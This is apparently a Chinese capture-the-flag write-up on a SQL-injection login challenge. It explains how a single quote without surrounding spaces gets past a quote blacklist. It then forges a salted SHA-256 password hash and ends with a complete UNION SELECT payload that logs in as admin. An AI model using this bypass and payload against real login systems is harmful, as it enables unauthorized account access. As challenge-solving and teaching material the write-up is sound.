这个题的主题是sql注入,但是有一定安全措施阻挠,关键词:过滤、hash校验
首先进入页面,看到有登录框,输入一个admin测试密码,提示密码错误,输入其他账号root登,都是没有此用户,判断目标就是要get到admin的登录
查看到有提示,访问pls_help可以查看源代码
这个代码有几个节点,第一个是会先检测是否有blacklist里的符号,可以看到单引号、双引号书名号都有过滤,单引号是不能前后有空格,双引号直接不给用
但是如果单引号没有空格,连着,就可以绕过检测
这里就可以进行到下一步,继续绕过
这里代码意思是,把用户输入的密码,从盐值拼接,再进行hash存储。
然后查找密码的时候,是比对这个hash
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
所以主要是通过构造 hash("sha256",$pass.$salt)去注入
也就是要构造一个
<?php var_dump(hash("sha256","abc"."abc"));?>
这样就是有一个pass=abc,然后盐值也是salt=abc,生成的hash就匹配了,再注入进去
最后在user框里进行注入,构造出一个
user=admin'union select 1,'bbb59da3af939f7af5f360f2ceb80a496e3bae1cd87dde426db0ae40677e1c2c$abc&pass=abc